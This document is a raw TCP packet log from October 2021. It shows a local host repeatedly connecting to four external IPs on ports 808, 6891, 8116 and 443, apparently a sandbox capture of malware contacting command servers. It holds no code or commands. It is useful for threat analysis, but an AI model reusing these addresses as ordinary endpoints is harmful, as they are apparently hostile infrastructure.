Oct 28, 2021 05:06:04.764949083 CEST	50087	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:05.158735991 CEST	50088	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:05.163079977 CEST	50087	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:05.172334909 CEST	50088	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:05.172451019 CEST	50088	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:05.293473959 CEST	50089	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:05.330610991 CEST	808	50087	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:05.339097977 CEST	6891	50088	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:05.339118958 CEST	6891	50088	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:05.460951090 CEST	6891	50089	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:05.463179111 CEST	50089	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:05.463803053 CEST	50089	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:05.631181955 CEST	6891	50089	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:05.631217003 CEST	6891	50089	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:05.631464958 CEST	50089	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:05.647435904 CEST	50089	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:05.651174068 CEST	50089	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:05.651314020 CEST	50089	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:05.722940922 CEST	6891	50088	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:05.722974062 CEST	6891	50088	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:05.723166943 CEST	50088	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:05.802236080 CEST	50088	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:05.817698956 CEST	6891	50089	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:05.817755938 CEST	6891	50089	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:05.854743004 CEST	6891	50089	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:05.968786955 CEST	6891	50088	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:06.202931881 CEST	6891	50089	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:06.202963114 CEST	6891	50089	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:06.203108072 CEST	50089	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:06.203182936 CEST	50089	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:06.657041073 CEST	50089	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:06.763792038 CEST	50090	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:06.799427032 CEST	50091	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:06.814949036 CEST	8116	50090	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:06.815145969 CEST	50090	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:06.823415995 CEST	6891	50089	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:06.828387022 CEST	50090	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:06.847615004 CEST	8116	50091	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:06.847862959 CEST	50091	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:06.848510981 CEST	50091	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:06.879436016 CEST	8116	50090	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:06.879652977 CEST	8116	50090	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:06.879800081 CEST	50090	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:06.880623102 CEST	50090	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:06.888228893 CEST	50090	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:06.888453007 CEST	50090	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:06.896250010 CEST	8116	50091	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:06.896491051 CEST	8116	50091	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:06.896596909 CEST	50091	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:06.897047043 CEST	50091	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:06.900183916 CEST	50091	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:06.900296926 CEST	50091	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:06.939244032 CEST	8116	50090	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:06.939914942 CEST	8116	50090	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:06.947844028 CEST	8116	50091	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:06.947869062 CEST	8116	50091	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:06.948580027 CEST	8116	50091	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:07.112597942 CEST	8116	50090	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:07.112647057 CEST	8116	50090	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:07.112776041 CEST	50090	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:07.112838030 CEST	50090	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:07.125380039 CEST	50090	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:07.139754057 CEST	8116	50091	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:07.139797926 CEST	8116	50091	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:07.139944077 CEST	50091	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:07.145839930 CEST	50091	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:07.176928997 CEST	8116	50090	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:07.193581104 CEST	8116	50091	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:07.246431112 CEST	50092	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:07.246468067 CEST	443	50092	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:07.246530056 CEST	50092	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:07.249607086 CEST	50092	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:07.249633074 CEST	443	50092	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:07.375158072 CEST	50093	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:07.375207901 CEST	443	50093	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:07.375449896 CEST	50093	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:07.376382113 CEST	50093	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:07.376399040 CEST	443	50093	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:07.741338968 CEST	443	50092	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:07.741722107 CEST	50092	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:07.743626118 CEST	50092	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:07.743650913 CEST	443	50092	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:07.749305010 CEST	50092	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:07.749321938 CEST	443	50092	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:07.749470949 CEST	50092	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:07.749483109 CEST	443	50092	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:07.865648985 CEST	443	50093	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:07.867191076 CEST	50093	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:07.867732048 CEST	50093	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:07.867750883 CEST	443	50093	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:07.873042107 CEST	50093	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:07.873063087 CEST	443	50093	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:07.873255968 CEST	50093	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:07.873272896 CEST	443	50093	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:08.443335056 CEST	443	50092	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:08.443459034 CEST	443	50092	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:08.443701982 CEST	50092	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:08.458414078 CEST	50092	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:08.458452940 CEST	443	50092	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:08.567183018 CEST	443	50093	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:08.567262888 CEST	443	50093	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:08.567430973 CEST	50093	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:08.570413113 CEST	50093	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:08.570452929 CEST	443	50093	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:08.604423046 CEST	50094	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:08.697694063 CEST	50095	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:08.769176960 CEST	808	50094	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:08.769417048 CEST	50094	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:08.770741940 CEST	50094	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:08.858570099 CEST	808	50095	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:08.858815908 CEST	50095	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:08.860044956 CEST	50095	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:08.933372021 CEST	808	50094	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:08.933433056 CEST	808	50094	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:08.933533907 CEST	50094	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:08.934348106 CEST	50094	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:08.941312075 CEST	50094	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:08.941590071 CEST	50094	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:09.020628929 CEST	808	50095	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:09.020745993 CEST	808	50095	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:09.020893097 CEST	50095	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:09.021722078 CEST	50095	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:09.029367924 CEST	50095	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:09.029594898 CEST	50095	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:09.097054005 CEST	808	50094	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:09.104166031 CEST	808	50094	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:09.104218960 CEST	808	50094	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:09.104238987 CEST	808	50094	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:09.104249001 CEST	808	50094	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:09.182163000 CEST	808	50095	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:09.189981937 CEST	808	50095	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:09.190107107 CEST	808	50095	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:09.190123081 CEST	808	50095	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:09.190133095 CEST	808	50095	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:09.190140963 CEST	808	50095	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:09.495445967 CEST	808	50094	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:09.495472908 CEST	808	50094	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:09.495644093 CEST	50094	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:09.495721102 CEST	50094	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:09.501944065 CEST	50094	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:09.579006910 CEST	808	50095	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:09.579031944 CEST	808	50095	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:09.579231024 CEST	50095	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:09.579268932 CEST	50095	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:09.582144022 CEST	50095	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:09.622400045 CEST	50096	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:09.665347099 CEST	808	50094	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:09.704770088 CEST	50097	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:09.743242979 CEST	808	50095	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:09.791294098 CEST	6891	50096	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:09.791456938 CEST	50096	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:09.792164087 CEST	50096	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:09.872970104 CEST	6891	50097	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:09.873126984 CEST	50097	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:09.874284029 CEST	50097	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:09.959698915 CEST	6891	50096	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:09.959738016 CEST	6891	50096	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:09.965409040 CEST	50096	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:09.965967894 CEST	50096	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:09.970716953 CEST	50096	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:09.970844984 CEST	50096	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:10.040591002 CEST	6891	50097	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:10.040916920 CEST	6891	50097	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:10.041033030 CEST	50097	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:10.041542053 CEST	50097	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:10.045245886 CEST	50097	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:10.045370102 CEST	50097	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:10.137315035 CEST	6891	50096	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:10.137341976 CEST	6891	50096	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:10.137350082 CEST	6891	50096	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:10.211656094 CEST	6891	50097	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:10.211695910 CEST	6891	50097	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:10.519735098 CEST	6891	50096	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:10.519754887 CEST	6891	50096	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:10.519845963 CEST	50096	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:10.519885063 CEST	50096	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:10.526490927 CEST	50096	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:10.595561028 CEST	6891	50097	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:10.595588923 CEST	6891	50097	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:10.595686913 CEST	50097	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:10.595722914 CEST	50097	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:10.598720074 CEST	50097	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:10.637561083 CEST	50098	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:10.689805031 CEST	8116	50098	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:10.689961910 CEST	50098	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:10.690850973 CEST	50098	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:10.692872047 CEST	6891	50096	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:10.721853971 CEST	50099	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:10.742819071 CEST	8116	50098	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:10.743066072 CEST	8116	50098	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:10.745440006 CEST	50098	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:10.746009111 CEST	50098	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:10.750660896 CEST	50098	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:10.750796080 CEST	50098	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:10.765060902 CEST	6891	50097	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:10.770289898 CEST	8116	50099	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:10.770426989 CEST	50099	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:10.770932913 CEST	50099	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:10.802756071 CEST	8116	50098	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:10.802799940 CEST	8116	50098	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:10.803491116 CEST	8116	50098	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:10.819257021 CEST	8116	50099	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:10.819287062 CEST	8116	50099	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:10.819555044 CEST	50099	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:10.820328951 CEST	50099	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:10.824644089 CEST	50099	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:10.824755907 CEST	50099	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:10.873075008 CEST	8116	50099	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:10.873115063 CEST	8116	50099	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:10.987298965 CEST	8116	50098	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:10.987323046 CEST	8116	50098	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:10.987421036 CEST	50098	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:10.994091988 CEST	50098	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:11.046303034 CEST	8116	50098	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:11.057913065 CEST	8116	50099	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:11.057941914 CEST	8116	50099	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:11.058032990 CEST	50099	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:11.061150074 CEST	50099	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:11.105623007 CEST	50100	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:11.105690956 CEST	443	50100	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:11.105812073 CEST	50100	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:11.106430054 CEST	50100	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:11.106456041 CEST	443	50100	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:11.109496117 CEST	8116	50099	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:11.183278084 CEST	50101	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:11.183326960 CEST	443	50101	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:11.183413982 CEST	50101	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:11.184019089 CEST	50101	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:11.184040070 CEST	443	50101	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:11.621990919 CEST	443	50100	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:11.625559092 CEST	50100	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:11.626128912 CEST	50100	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:11.626142025 CEST	443	50100	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:11.631073952 CEST	50100	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:11.631098986 CEST	443	50100	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:11.631191969 CEST	50100	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:11.631200075 CEST	443	50100	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:11.705245972 CEST	443	50101	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:11.705519915 CEST	50101	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:11.706418037 CEST	50101	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:11.706438065 CEST	443	50101	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:11.715539932 CEST	50101	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:11.715574980 CEST	443	50101	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:11.715804100 CEST	50101	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:11.715826035 CEST	443	50101	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:12.344381094 CEST	443	50100	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:12.344460011 CEST	443	50100	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:12.344613075 CEST	50100	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:12.351253986 CEST	50100	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:12.351304054 CEST	443	50100	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:12.425426960 CEST	443	50101	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:12.425488949 CEST	443	50101	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:12.425591946 CEST	50101	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:12.425618887 CEST	50101	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:12.428781986 CEST	50101	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:12.428812027 CEST	443	50101	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:12.496294975 CEST	50102	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:12.548902035 CEST	50103	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:12.662151098 CEST	808	50102	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:12.662260056 CEST	50102	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:12.663011074 CEST	50102	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:12.710777044 CEST	808	50103	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:12.710875988 CEST	50103	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:12.712104082 CEST	50103	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:12.828728914 CEST	808	50102	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:12.828957081 CEST	808	50102	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:12.829046011 CEST	50102	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:12.829557896 CEST	50102	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:12.833311081 CEST	50102	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:12.833435059 CEST	50102	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:12.873668909 CEST	808	50103	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:12.873915911 CEST	808	50103	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:12.873999119 CEST	50103	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:12.874500990 CEST	50103	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:12.878161907 CEST	50103	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:12.878289938 CEST	50103	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:12.995706081 CEST	808	50102	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:12.999648094 CEST	808	50102	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:12.999702930 CEST	808	50102	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:12.999784946 CEST	808	50102	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:13.036042929 CEST	808	50103	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:13.039813995 CEST	808	50103	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:13.039915085 CEST	808	50103	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:13.039951086 CEST	808	50103	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:13.379511118 CEST	808	50102	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:13.379590988 CEST	50102	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:13.379667997 CEST	808	50102	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:13.379719019 CEST	50102	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:13.385929108 CEST	50102	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:13.416363955 CEST	808	50103	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:13.416384935 CEST	808	50103	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:13.416464090 CEST	50103	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:13.416496038 CEST	50103	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:13.419711113 CEST	50103	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:13.497538090 CEST	50104	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:13.547332048 CEST	50105	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:13.551631927 CEST	808	50102	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:13.581383944 CEST	808	50103	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:13.667051077 CEST	6891	50104	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:13.667196035 CEST	50104	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:13.667732000 CEST	50104	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:13.713840961 CEST	6891	50105	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:13.716530085 CEST	50105	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:13.717152119 CEST	50105	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:13.833167076 CEST	6891	50104	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:13.833194971 CEST	6891	50104	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:13.833278894 CEST	50104	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:13.833937883 CEST	50104	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:13.837517023 CEST	50104	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:13.837632895 CEST	50104	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:13.883466959 CEST	6891	50105	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:13.883493900 CEST	6891	50105	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:13.883627892 CEST	50105	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:13.884042025 CEST	50105	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:13.887391090 CEST	50105	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:13.887487888 CEST	50105	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:14.003221035 CEST	6891	50104	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:14.003240108 CEST	6891	50104	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:14.045186043 CEST	6891	50104	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:14.054649115 CEST	6891	50105	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:14.054686069 CEST	6891	50105	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:14.379525900 CEST	6891	50104	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:14.379601002 CEST	6891	50104	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:14.379807949 CEST	50104	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:14.385857105 CEST	50104	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:14.433969021 CEST	6891	50105	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:14.433995008 CEST	6891	50105	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:14.434209108 CEST	50105	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:14.437163115 CEST	50105	6891	192.168.2.3	45.77.0.96
